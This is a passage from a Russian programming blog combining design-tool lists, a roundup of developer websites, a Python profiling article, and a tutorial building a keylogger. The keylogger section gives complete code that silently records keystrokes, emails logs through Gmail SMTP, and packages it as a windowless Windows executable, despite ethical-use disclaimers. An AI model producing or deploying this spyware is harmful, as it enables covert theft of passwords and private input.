10. Lingo – создавайте библиотеки визуальных ресурсов и делитесь ими с командой. Только для Mac

Цвета


1. Color Hunt – просмотрите тысячи комбинаций четырех цветов, пока не найдете подходящую.

2. Adobe Color – сгенерируйте и сохраните различные цветовые схемы.

3. Coolors – прокрутите страницу и сохраните свои любимые палитры.

4. TinEye – определите свои цвета и найдите изображения с идеальной цветовой комбинацией.

5. ColorZilla – суперудобное расширение для выбора цветов с веб-страницы.

6. Сolorscheme – создайте новое цветовое сочетание.

7. PaletteGenerator – создает цветовую палитру для любого изображения, которое вы найдете в интернете.

8. Colorspark – генератор случайного цвета и градиента.

9. The Color App – благодаря этой большой сетке поиск цветов становится намного проще.

10. ColorPick Eyedropper – позволяет выбирать значения цветов на веб-страницах (Chrome).

Вдохновение


1. Dribbble – место, где дизайнеры делятся своими самыми яркими работами.

2. Muzli – вдохновение для дизайнера, подобранное для вас (расширение браузера).

3. Design You Trust – коллективный блог, полный дизайнерских портфолио и архитектурных вдохновений.

4. Really Good Emails – каталог хорошо продуманных электронных писем, которые вдохновят вас на создание новостной рассылки.

5. Awwwards – отмечает талант и усилия лучших дизайнеров, разработчиков и агентств.

6. One Page Love – оригинальная витрина одностраничных сайтов.

7. Mobbin – библиотека из 50 000+ скриншотов мобильных приложений с возможностью поиска.

8. Designspiration – доска вдохновения в стиле Pinterest, которой можно поделиться.

9. Material Up – ежедневно отбирает лучшие дизайнерские материалы, доступные онлайн.

10. Mobile Patterns – узнайте больше об UX для вашего мобильного приложения.

Редакторы графики


1. Illustrator – создавайте удивительные векторные изображения с помощью этого незаменимого инструмента.

2. Photoshop – создавайте и улучшайте свои фотографии.

3. Daz Studio – создавайте невероятно реалистичных людей или животных в 3D (доступно через VPN)

4. DrawPlus – рисуйте красивые векторные изображения по разумной цене.

5. Pixir – получите доступ к 600 эффектам для ретуши фотографий бесплатно.

6. Inkscape – лучшая альтернатива Illustrator с открытым исходным кодом.

7. Vectr – онлайн-редактор векторной графики. Хватит для решения повседневных задач.

8. Blender – полностью бесплатное программное обеспечение с открытым исходным кодом для создания 3D.

9. Gimp – бесплатный редактор с открытым исходным кодом для редактирования и ретуши изображений.

10. Affinity Photo – профессиональное программное обеспечение для редактирования фотографий.

Дизайн логотипа


1. SquareSpace – этот инструмент для создания классного логотипа.

2. Desugnmantic – введите название своей компании, выберите свою отрасль и создайте редактируемый логотип.

3. Graphic Springs – выберите шаблон логотипа, отредактируйте его и загрузите свой логотип.

4. Logo Genie – делает разработку логотипа легкой и увлекательной.

5. Logo Makr – создайте простой логотип с материалами Flaticons.

6. Logo Type Makr – случайная генерация логотипов для вашей компании.

7. Logo Garden – выберите отрасль, в которой вы работаете, и выберите один из сгенерированных логотипов

8. Logoshi – нарисуйте набросок и получите чистый и современный логотип.

9. Logaster – сделайте достойный логотип без каких-либо дизайнерских навыков.

10. Logo Maker – создавайте сотни потенциальных логотипов и изменяйте их онлайн.

Прототипирование


1. Sketch – инструмент векторного дизайна, удобный для разрпаботки UI и UX. Совместим только с Mac.

2. Napkin – создавайте быстрые мокапы на своем устройстве iOS.

3. Flinto – нарисуйте интерактивные прототипы из статических изображений.

4. Proto – создавайте ультрареалистичные прототипы приложений. Программирование не требуется.

5. Weld – нарисуйте свой веб-сайт в Интернете так, как вы этого хотите.

6. Balsamiq – инструмент Quick Wireframing, позволяющий создавать макеты.

7. App Cooker – работайте с макетами и прототипами с вашего iPad.

8. Atomic – создавайте реалистичные прототипы, которыми вы можете поделиться со своей командой.

9. HTML5 Up – создавайте стильные, настраиваемые и адаптивные шаблоны HTML5.

10. Axure – быстро создавайте прототипы со своего компьютера и делитесь ими.

***

Материалы по теме

24
Май
2022

Jamstack: философия веб-разработки на примере Next.js

Сперва JAMstack считался лишь комбинацией JavaScript, API и MarkUp. Теперь веб-разработка Jamstack превратилась в настоящую философию.
— Читать дальше «Jamstack: философия веб-разработки на примере Next.js»

20
Май
2022

🛠️ 25 полезных малоизвестных интернет-ресурсов для фронтендера и бэкендера

Небольшой обзор интересных интернет-ресурсов в помощь специалистам цифровой индустрии: каталоги дорожных карт и шпаргалок, тесты веб-приложений, бесплатные макеты и иллюстрации, шаблоны резюме и многое другое.

Мучаетесь с каким-то новым функционалом или просто начали осваивать одну из технологий с нуля, а может, хотите узнать, где можно найти неплохие инструменты для разработки и тестирования. Хорошо, когда есть возможность где-то посмотреть нужную информацию. Мы не поленились, пробежались по сети и собрали для вас набор из нескольких десятков полезных сайтов, о которых вы, возможно, не слышали. Поехали!

1. DevDocs

Скриншот сайта DevDocs
Скриншот сайта DevDocs

Довольно неплохой архив документации практически по любой из технологий, используемых в веб-разработке, с удобной функцией поиска интересующей вас информации. Найденные файлы можно легко скачать на устройство и читать офлайн.

2. ray.so

Скриншот сайта ray.so
Скриншот сайта ray.so

С помощью сайта можно сделать красивые скриншоты различных участков кода. Здесь имеются также несколько тем оформления, под разные языки программирования и темный режим.

3. roadmap.sh

Скриншот сайта roadmap.sh
Скриншот сайта roadmap.sh

Если нужны дорожные карты и образовательные материалы по различным технологиям – вам сюда! Предложенные данные будут полезны как для начинающих, так и для тех, кому нужна конкретная информация по какому-нибудь направлению.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека программиста»

4. Carbon

Скриншот сайта Carbon
Скриншот сайта Carbon

Платформа с инструментами для красивого оформления кода в различных презентациях и статьях, с собственным графическим редактором для работы с изображениями.

5. MetaTags

Скриншот сайта MetaTags
Скриншот сайта MetaTags

Сайт содержит набор инструментов, позволяющих проводить различные эксперименты с вашим контентом, перед заливкой его в Twitter или LinkedIn, с функцией предварительного просмотра. С его помощью вы сможете увидеть, как будет выглядеть ваша страница в социальных сетях, до публикации поста.

6. LabmdaTest

Скриншот сайта LabmdaTest
Скриншот сайта LabmdaTest

С помощью этой облачной платформы можно тестировать любое веб-приложение почти на всех современных браузерах, операционных системах и устройствах как вручную, так и автоматически.

7. Small Dev Tools

Скриншот сайта Small Dev Tools
Скриншот сайта Small Dev Tools

Сайт с классными штуками для разработчиков, где можно найти различные: кодировщики или декодировщики, форматеры HTML/CSS/JavaScript, модификаторы, генераторы данных и прочий полезный функционал, с возможностью обмена кодом с коллегами.

8. resume.io

Скриншот сайта resume.io
Скриншот сайта resume.io

Если хотите создать себе профессиональное резюме – то вам сюда. Это ресурс с множеством готовых шаблонов, с различными вариантами цветового оформления и красивыми шрифтами, легко можно использовать для любой анкеты.

9. daily.dev

Скриншот сайта daily.dev
Скриншот сайта daily.dev

Новостной агрегатор из мира IT, собирающий лучшие публикации с разнообразных медиа и публикующий их в ленте. Можно добавить его в виде расширения в ваш браузер.

10. Showwcase

Скриншот сайта Showwcase
Скриншот сайта Showwcase

Соцсеть, аналог LinkedIn, но только для айтишников. Здесь разработчики смогут поделиться своими навыками, опытом и различного рода, проектами со своими друзьями или коллегами. Причем тот, кто создал наиболее качественный контент, может заработать здесь на платных подписках.

11. CSS-Tricks

Скриншот сайта CSS-Tricks
Скриншот сайта CSS-Tricks

Ресурс, ежедневно публикующий полезные материалы о технологиях, связанных с веб-разработкой (CSS, HTML, JS) .

12. Medusa

Скриншот сайта Medusa
Скриншот сайта Medusa

Бесплатный опенсорсный аналог Shopify с настраиваемым headless-движком, полезный для всех, кто работает в сфере электронной коммерции.

13. SmartMockups

Скриншот сайта SmartMockups
Скриншот сайта SmartMockups

Площадка для создания макетов высокого качества (разрешения) непосредственно в интернет-браузере, а также на разных девайсах при помощи грамотно созданного интерфейса. Это один из самых быстрых бесплатных веб-инструментов для разработки веб-прототипов, не требующий особых знаний, с большой библиотекой классных шаблонов.

14. Profile Pic Maker

Скриншот сайта Profile Pic Maker
Скриншот сайта Profile Pic Maker

Инструмент, позволяющий создавать и обрабатывать фотографии профиля разработчика, для профессиональных соцсетей. У него довольно простой функционал, с которым разберется даже школьник – ничего лишнего. Загружаем фото → редактируем → скачиваем.

15. Storytale

Скриншот сайта Storytale
Скриншот сайта Storytale

Ресурс с множеством различных иллюстраций на любые темы. Эти изображения легко интегрировать в свой проект или просто использовать в личных целях.

16. readme.so

Скриншот сайта readme.so
Скриншот сайта readme.so

Веб-сайт, с помощью которого легко разработать любой README-проект, быстро добавив и настроив все нужные вам разделы.

17. Peppertype

Скриншот сайта Peppertype
Скриншот сайта Peppertype

Качественно-сделанный цифровой помощник по производству контента, инструменты которого разработаны на основе машинного обучения, с применением искусственного интеллекта, автоматизирующего все процессы создания задуманного. Программа проводит анализ бизнес-операций юзера, определяет правильный бренд и целевую аудиторию и на основе всего этого уже выводит нужный контент.

18. synthesia

Скриншот сайта synthesia
Скриншот сайта synthesia

Площадка по созданию видеороликов при помощи ИИ, поддерживающая почти 50 языков мира. Здесь для производства видео, вам не понадобятся ни камера с микрофоном, ни даже сам пользователь. Все, что вам нужно это загрузить необходимый текстовый сценарий, а программа выдаст вам фильм, созданный искусственным интеллектом.

19. ProgrammerHumor

Скриншот сайта ProgrammerHumor
Скриншот сайта ProgrammerHumor

Если вы устали от повседневной рутинной работы и хотите немного отдохнуть – вам сюда. На этом ресурсе выкладывают различные мемы и приколы из мира информационных технологий.

20. Code Beautify

Скриншот сайта Code Beautify
Скриншот сайта Code Beautify

Сайт с инструментами, позволяющими улучшить ваш код. Довольно простая в использовании штука, где все, что нужно сделать – это, выбрав язык программирования, ввести нужный участок исходного кода и немного подождать, пока искусственный интеллект программы не сделает его более привлекательным и удобочитаемым.

21. overAPI

Скриншот сайта overAPI
Скриншот сайта overAPI

Этот ресурс содержит огромное количество различных шпаргалок по самым популярным технологиям.

22. Responsively

Скриншот сайта Responsively
Скриншот сайта Responsively

Еще один полезный общедоступный веб-ресурс, позволяющий проверить внешний вид вашего сайта на различных устройствах, и тем самым сэкономить время разработки в несколько раз.

23. Color Hunt

Скриншот сайта Color Hunt
Скриншот сайта Color Hunt

Набор инструментов, помогающий дизайнеру сформировать палитру цветов. Принцип работы сервиса довольно простой: вы указываете ссылку на изображение с нужным сочетанием цветов, или прописываете теги для подбора необходимой схемы. После анализа данных приложение выдаст вам наиболее подходящий результат, который вы можете добавить себе в папку.

24. Logo Ipsum

Скриншот сайта Logo Ipsum
Скриншот сайта Logo Ipsum

При помощи этого замечательного ресурса легко создавать рандомные логотипы для ваших проектов.

25. Undesign


Здесь вы найдете огромную подборку различных полезных штук для фронтендеров. От сниппетов кода, цветов, градиентов и шрифтов до различных иконок и анимации.

***

Если вы не заметили в нашей подборке еще одного хорошего веб-сайта, без которого не мыслите своей жизни, не стесняйтесь поделиться им в комментариях. Удачи!

Материалы по теме

12
Май
2022

👨‍💻 Как грамотное программирование научит вас писать качественный код

Кажется довольно очевидным, но код пишется не только для компьютеров: он пишется и для людей. Упущение этого факта может обернуться дальнейшими проблемами. Рассказываем, что такое грамотное программирование и как писать качественный код.

06
Май
2022

Подводные камни при переходе на российское программное обеспечение

Определили сложности, которые ждут IT-специалистов и пользователей при переходе на российское программное обеспечение.
— Читать дальше «Подводные камни при переходе на российское программное обеспечение»

05
Май
2022

🕵 Пишем кейлоггер на Python для Windows за 5 минут

Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала.

Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала.

Что такое кейлоггер и зачем он нужен

Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.

Подготовка: устанавливаем Python и библиотеки

Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.

Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.

Ставим библиотеку простой командой в терминале:

        pip3 install keyboard
    

Пишем кейлоггер

Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.

Импорт библиотек

Начнем с импорта необходимых библиотек:

        import keyboard 
import smtplib #для отправки электронной почты по протоколу SMTP (gmail)
#Таймер для запуска через заданный «интервал» времени.
from threading import Timer
from datetime import datetime
    

Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:

Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»

Инициализируем параметры

        SEND_REPORT_EVERY = 60 #время в секундах
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "notmypassword"
    

Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.

Создаем класс и методы

Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:

        class Keylogger:
    def __init__(self, interval, report_method="email"):
        # передаем SEND_REPORT_EVERY в интервал
        self.interval = interval
        self.report_method = report_method
        # это строковая переменная, которая содержит лог
        self.log = ""
        #запись начала и окончания даты и времени
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()
    

Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.

Используем функцию клавиатуры on_release(), которая принимает обратный вызов.

        def callback(self, event):
        name = event.name
        if len(name) > 1:
            #не символ, специальная клавиша (например, ctrl, alt и т. д.)
            #верхний регистр
            if name == "space":
                #" " вместо пробелов
                name = " "
            elif name == "enter":
                #добавлять новую строку всякий раз, когда нажимается ENTER
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                #замените пробелы символами подчеркивания
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        #добавить имя ключа в глобальную переменную
        self.log += name
    

Пишем метод для записи в локальный файл

        def update_filename(self):
        #создать имя файла, которое будет идентифицировано по дате начала и окончания записи
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        # создать файл
        with open(f"{self.filename}.txt", "w") as f:
            # записать лог
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    

Отправка на email

         def sendmail(self, email, password, message):
        # управляет подключением к SMTP-серверу
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # подключиться к SMTP-серверу в режиме TLS
        server.starttls()
        # логин
        server.login(email, password)
        # отправить сообщение
        server.sendmail(email, email, message)
        # завершает сеанс
        server.quit()
    

Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.

Сообщаем лог через заданные промежутки времени

         def report(self):
        if self.log:
            self.end_dt = datetime.now()
            # обновить `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        # старт
        timer.start()
    

Давайте определим метод on_release():

        def start(self):
        #записать дату и время начала
        self.start_dt = datetime.now()
        #запустить кейлогер
        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()

    

Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:

        if __name__ == "__main__":
    # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # для записи в локальный файл оставляем как есть
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()
    

Использование

Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:

        pip3 install pyinstaller
    

И собираем все в файл:

        pyinstaller --onefile -w 'keylogger.py'
    

На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.

Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.

Материалы по теме

04
Май
2022

React 18: новые хуки и как изменился рендеринг

Всё об обновлении React 18: автоматический батчинг, конкурентный режим, изменения в архитектуре рендеринга на стороне сервера и новые хуки.
— Читать дальше «React 18: новые хуки и как изменился рендеринг»

22
Апр
2022

🐍 Как ускорить код на Python: выбираем инструмент для оптимизации производительности программы

В этой статье мы рассмотрим различные профилировщики (cProfile, Pyinstrument, Eliot) и обсудим их плюсы и минусы, а также когда и где их лучше применить.

Данная статья является переводом. Ссылка на оригинал.

Ваша Python-программа слишком медленная. Возможно, ваше веб-приложение не поспевает за ним, или некоторые запросы выполняются слишком долго. Возможно, у вас есть командный файл, выполнение которого занимает часы или даже дни.

Что вы сделаете для ускорения работы программы?

Вы, вероятно, сделаете следующее:

1. Выберите подходящий инструмент (программное средство) для измерения скорости.

2. Используете инструмент для поиска «узкого места».

3. Устраните «узкое место».

В этой статье основное внимание будет уделено первому шагу: выбору правильного инструмента. И, в частности, он будет включать в себя:

  • cProfile: детерминированный профайлер стандартной библиотеки Python.
  • Pyinstrument: профилировщик выборки.
  • Eliot: библиотека логирования.

Я не буду вдаваться в подробности о том, как использовать эти инструменты, потому что задача состоит в том, чтобы помочь вам выбрать правильный. Но я объясню, что делают эти инструменты, а также когда и почему нужно выбрать тот или иной.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека питониста»

1. cProfile: Детерминированный профайлер

Профилировщик cProfile встроен в Python, поэтому вы, вероятно, слышали о нем, и, возможно, это тот инструмент, который вы используете по умолчанию. Он работает, отслеживая каждый вызов функции в программе. Вот почему это детерминированный профилировщик: если вы запустите его с теми же входными данными, он даст тот же результат.

По умолчанию cProfile отсчитывает системное время — сколько времени прошло за период работы функции. Это означает, что он может измерять одновременно и скорость работы процессора, и другие проблемы, такие как спящий режим или конфликты при блокировках. Вы всегда должны задаваться вопросом что измеряет ваш профилировщик, потому что разные измерения могут обнаруживать разные проблемы.

Хотя cProfile доступен по умолчанию в Python, у него также есть некоторые недостатки — и, как вы увидите чуть позже, вы вряд ли захотите его использовать для большинства случаев.

Использование cProfile

Использовать cProfile довольно просто. Если у вас есть скрипт, то, скорее всего, вы запустите его так:

1
        $ python benchmark.py
7855 messages/sec
    

Затем вы можете просто добавить префикс python -m cProfile и запустить его с профилировщиком:

2
        $ python -m cProfile benchmark.py
1444992 function calls (1443814 primitive calls) in 1.208 seconds

Ordered by: cumulative time

ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     1    0.000    0.000    1.208    1.208 benchmark.py:7(<module>)
     1    0.048    0.048    1.151    1.151 benchmark.py:21(run)
 50000    0.031    0.000    0.657    0.000 _output.py:182(write)
 50000    0.045    0.000    0.618    0.000 _output.py:73(send)
 50000    0.064    0.000    0.566    0.000 _output.py:452(__call__)
... a million more lines of output ...
    

Существует также профилирование для Python API, поэтому вы можете профилировать определенные функции в запросе интерпретатора Python или в Jupyter notebook.

Выходной формат представляет собой таблицу, что не совсем удобно: каждая строка является результатом вызова функции, которая выполнялась в течение профилируемого промежутка времени, однако вы не знаете, как этот вызов связан с вызовами других функций. Поэтому, если у вас есть функция, которую можно вызвать с помощью нескольких путей выполнения кода, могут возникнуть сложности с определением, какой именно блок кода отвечает за вызов медленной функции.

Что cProfile может вам сказать

Если вы посмотрите на таблицу выше, то увидите, что:

  • _output.py(__call__) вызвали 50 000 раз. У нас получилось четное число, потому что это тестовый скрипт, который запускает один и тот же код в цикле 10 000 раз. Если вы не вызывали функцию намеренно множество раз, то это может быть полезно для определения большого количества вызовов для выявления занятых внутренних циклов.
  • _output.py(send) работал в течение 0.618 секунд (включая время, затраченное на вызываемые им функции) и 0.045 секунд (не считая вызываемых им функций).

Используя эту информацию, вы можете определить медленные функции, которые можно оптимизировать.

Как это работает

cProfile проводит измерение для каждого вызова функции. В частности, вызов функции во время ее выполнения выглядит следующим образом:

        start = time()
try:
    f()
finally:
    elapsed = time() - start
    

Профилировщик записывает время в начале и в конце. Полученная разница является временем работы функции.

Проблемы с cProfile

Хотя cProfile всегда доступен при любой установке Python, он также имеет ряд существенных проблем.

Проблема №1: Высокие затраты вычислительных ресурсов и искаженные результаты

Как вы понимаете, выполнение дополнительной работы для каждого вызова функции требует определенных затрат:

4
        $ python benchmark.py
7855 messages/sec

$ python -m cProfile benchmark.py
5264 messages/sec
... cProfile output ...
    

Обратите внимание, насколько медленно работает cProfile. И что еще хуже, замедление происходит неравномерно для всей программы: поскольку оно связано с количеством вызовов функций, блоки вашего кода с большим количеством таких вызовов будут замедляться еще больше. Таким образом, эти накладные расходы могут исказить результат.

Проблема №2: Слишком много информации

Если вы помните, выходные данные cProfile, которые мы видели выше, содержат строку для каждой отдельной функции, которая была вызвана во время выполнения программы. Большинство данных вызовов функций не имеют отношения к нашей проблеме с производительностью: они выполняются быстро и только один или два раза.

Поэтому, когда вы читаете выходные данные cProfile, вы имеете дело с большим количеством шума, который мешает распознать сигнал.

Проблема № 3: Измерение результатов работы на локальном компьютере

Довольно часто ваша программа будет работать медленно только в реальных условиях с реальными входными данными. Возможно, только определенные запросы пользователей замедляют работу вашего веб-приложения, и вы не знаете какие именно. Возможно, ваш командный файл работает медленно только с реальными данными.

Но cProfile, как мы видели, немного замедляет вашу программу, и поэтому вы, вероятно, не захотите запускать его в своем рабочем проекте. Таким образом, в то время как низкая скорость работы появляется только при работе с реальными проектами, cProfile может быть полезен только на стадии разработки.

Проблема № 4: Производительность измеряется только для функций

cProfile может сообщить вам о том, что «slowfunc() работает медленно», когда он усредняет все входные данные для этой функции. И это нормально, если функция сама по себе всегда медленная.

Но иногда у вас есть алгоритмический код, который работает медленно только при определенных входных данных. Вполне возможно, что:

  • slowfunc(100) выполняется быстро.
  • slowfunc(0) выполняется медленно.

cProfile не сможет сказать вам, какие входные данные вызвали замедление работы, что может затруднить диагностику проблемы.

cProfile: Его, как правило, недостаточно

Обобщая все недостатки, cProfile не должен быть вашим предпочтительным инструментом для повышения производительности. Поэтому далее мы поговорим о его двух альтернативах:

  • Pyinstrument решает проблемы №1 и №2.
  • Eliot решает проблемы №3 и №4.

2. Pyinstrument: Профилировщик выборки

Pyinstrument решает две проблемы, которые мы рассмотрели выше, а именно:

  • Затраты вычислительных ресурсов меньше, чем у cProfile, при этом результаты не искажаются.
  • Он отфильтровывает ненужные вызовы функций, поэтому шума становится меньше.

Pyinstrument измеряет системное время, а не процессорное, поэтому он также может фиксировать замедление, вызванное сетевыми запросами, записью на диск, конфликтом блокировок и т. д.

Как вы можете его использовать

Использование Pyinstrument аналогично cProfile — просто добавьте префикс к вашему скрипту:

7
        $ python benchmark.py
7561 messages/sec

$ python -m pyinstrument benchmark.py
6760 messages/sec
... pyinstrument output ...
    

Обратите внимание, что у него есть некоторые накладные расходы, но не такие большие, как у cProfile, при этом затраты вычислительных ресурсов распределены равномерно.

Pyinstrument также поддерживает API Python, так что вы можете использовать его для профилирования определенных фрагментов кода в интерактивном интерпретаторе Python или блокноте Jupyter.

Выходные данные

На выходе Pyinstrument представляет собой дерево вызовов, измеряющее системное время:

8
        1.506 <module>  benchmark.py:7
├─ 1.477 run  benchmark.py:21
│  ├─ 0.604 attach  myapp/_code.py:52
│  │  └─ 0.598 write  myapp/_code.py:130
│  │     ├─ 0.557 final_write  myapp/_foo.py:181
...
    

В отличие от построчной функции cProfile, Pyinstrument дает вам дерево вызовов функций, поэтому вы можете получить информацию о скорости работы. Функция может появляться несколько раз, если низкая скорость работы вызвана несколькими путями выполнения кода.

В результате вывод Pyinstrument намного проще интерпретировать, ведь он предоставляет более подробное понимание структуры производительности вашей программы, чем вывод cProfile по умолчанию.

Как это работает (кошачья версия)

Представьте, что у вас есть кошка. Вы хотите знать, как эта кошка проводит свое время.

Вы могли бы непрерывно шпионить за ней, но это был бы весьма трудоемкий процесс. Поэтому вместо этого вы решаете периодически делать «замеры»: каждые 5 минут вы заглядываете в комнату, где находится кошка, и записываете, что она делает.

Например:

  • 12:00: Спит 💤
  • 12:05: Спит 💤
  • 12:10: Ест 🍲
  • 12:15: Использует лоток 💩
  • 12:20: Спит 💤
  • 12:25: Спит 💤
  • 12:30: Спит 💤

Через несколько дней можно подвести итоги своих наблюдений:

  • 80%: Спит 💤
  • 10%: Ест 🍲
  • 9%: Использует лоток 💩
  • 1%: С тоской смотрит в окно на птиц 🐦

Итак, насколько точно это наблюдение? Поскольку ваша цель — изучить, где кошка проводит большую часть своего времени, информационная сводка, вероятно, будет точной. И чем чаще проводятся наблюдения (==измерения) и чем больше наблюдений вы сделаете, тем точнее будет сводка.

Если ваша кошка проводит большую часть своего времени во сне, вы ожидаете, что большинство выборочных наблюдений покажут, что она спит. И да, вы пропустите некоторые быстрые и редкие действия, но для целей «на что кошка тратила большую часть своего времени» эти быстрые и редкие действия не имеют значения.

Как это работает (программная версия)

Как и наш кот, Pyinstrument периодически наблюдает за поведением Python-программы: каждую 1 мс он проверяет, какая функция запущена в данный момент. Это означает:

  • Если функция кумулятивно медленная, она будет появляться часто.
  • Если функция кумулятивно быстрая, мы, как правило, ее вообще не увидим.

Это означает, что в нашей сводке производительности меньше шума: функции, которые почти не используются, в основном будут отсутствовать. Но в целом сводка довольно точна с точки зрения того, как программа потратила свое время, если мы произвели достаточное количество записей наблюдений.

3. Eliot: Библиотека логирования

Последним инструментом, который мы подробно рассмотрим, является Eliot, написанная мной библиотека логирования. Она решает оставшиеся две проблемы, которые мы видели в cProfile:

  • Логирование можно использовать в продакшене.
  • Логирование может записывать аргументы для функций.

Как вы видите, Eliot предоставляет некоторые уникальные возможности, которые делают лучше его запись производительности, чем у обычных библиотек логирования. При этом, проделав некоторую дополнительную работу, вы можете получить те же преимущества и от других библиотек ведения логов.

Добавление логирования в существующий код

Рассмотрим следующий набросок программы:

8
        def add(a, b):
    # ... implementation ...
    
def multiply(a, b):
    # ... implementation ...

def multiplysum(a, b, c):
    return multiply(add(a, b), c)

print(multiplysum(1, 2, 4))
    

Мы можем взять этот код и добавить к нему логирование:

        from eliot import log_call, to_file
to_file(open("out.log", "w"))

@log_call
def add(a, b):
    # ... implementation ...

@log_call
def multiply(a, b):
    # ... implementation ...
# etc.
Specifically, we do two
    

В частности, мы делаем две вещи:

  1. Сообщаем Eliot куда выводить сообщения журнала (в данном случае это файл с именем out.log).
  2. Добавляем декоратор функции @log_call. Это позволяет зарегистрировать факт вызова функции, ее аргументы и возвращаемое значение (или возникшее исключение).

У Eliot есть другие, более детализированные API, но @log_call достаточно для демонстрации преимуществ ведения журнала логов.

Выходные данные Eliot

Как только мы запустим программу, мы сможем просмотреть журналы с помощью инструмента под названием eliot-tree:

9
        $ python calc.py
12
$ eliot-tree out.log
─── multiplysum (inputs a=1 b=2 c=4) ⧖ 10.0s
    ├── add (inputs a=1 b=2) ⧖ 1.0s
    │   └── result: 3
    ├── multiply (inputs a=3 b=4) ⧖ 9.0s
    │   └── result: 12
    └── result: 12
    

Обратите внимание на сходство с Pyinstrument – дерево действий. Я немного упростил вывод — изначально так, чтобы он поместился на слайде, который я использовал в статье для доклада, — но даже в этой версии этого достаточно, чтобы оценить производительность.

У Eliot каждое действие имеет начало и конец и может запускать другие действия, в результате чего получается дерево. Поскольку мы знаем, когда начинается и заканчивается каждое зарегистрированное действие, мы также знаем, сколько времени оно заняло.

В этом случае каждое действие сопоставляется с вызовом функции в отношении один к одному. И есть некоторые отличия от вывода Pyinstrument:

  1. Вместо объединения нескольких вызовов функций вы видите каждый вызов отдельно от других.
  2. Вы можете видеть аргументы и возвращаемый результат каждого вызова.
  3. Вы можете увидеть прошедшее системное время для каждого действия.

Например, вы можете видеть, что multiplysum() заняло 10 секунд, но больше всего времени было потрачено на multiply(), с входными данными 3 и 4. Таким образом, вы сразу знаете, что для оптимизации производительности нужно сосредоточиться на multiply(), и у вас есть некоторые начальные входные данные (3 и 4), чтобы поиграть ими и посмотреть на изменения.

Ограничения ведения журнала

Логирование само по себе не является достаточным источником информации о производительности.

Во-первых, вы получаете информацию только из кода, в который вы явно добавили вызовы ведения журнала. Профилировщик может работать с любым произвольным фрагментом кода без предварительной подготовки, но с логированием вам придется проделать некоторую работу заранее.

Если вы не добавили код ведения журнала, вы не получите никакой информации. Eliot делает это немного лучше, поскольку структура дерева действий дает вам некоторое представление о том, где было потрачено время, но этого все же недостаточно, если логирование слишком редкое.

Во-вторых, вы не можете добавлять логирование везде, потому что это замедлит вашу программу. Ведение журнала влечет за собой накладные расходы — это требует больше затрат, чем у cProfile. Поэтому вам нужно добавлять его разумно, в ключевые моменты, где он будет максимизировать информацию, которую он дает, не влияя на производительность.

4. Правильный выбор инструментов

Итак, когда вы должны использовать каждый инструмент?

Всегда добавляйте ведение журнала

Любая нетривиальная программа, вероятно, нуждается в некотором логировании, хотя бы для того, чтобы отлавливать баги и ошибки. И если вы уже добавляете ведение журнала, вы также можете позаботиться о том, чтобы регистрировать информацию, необходимую для отладки производительности.

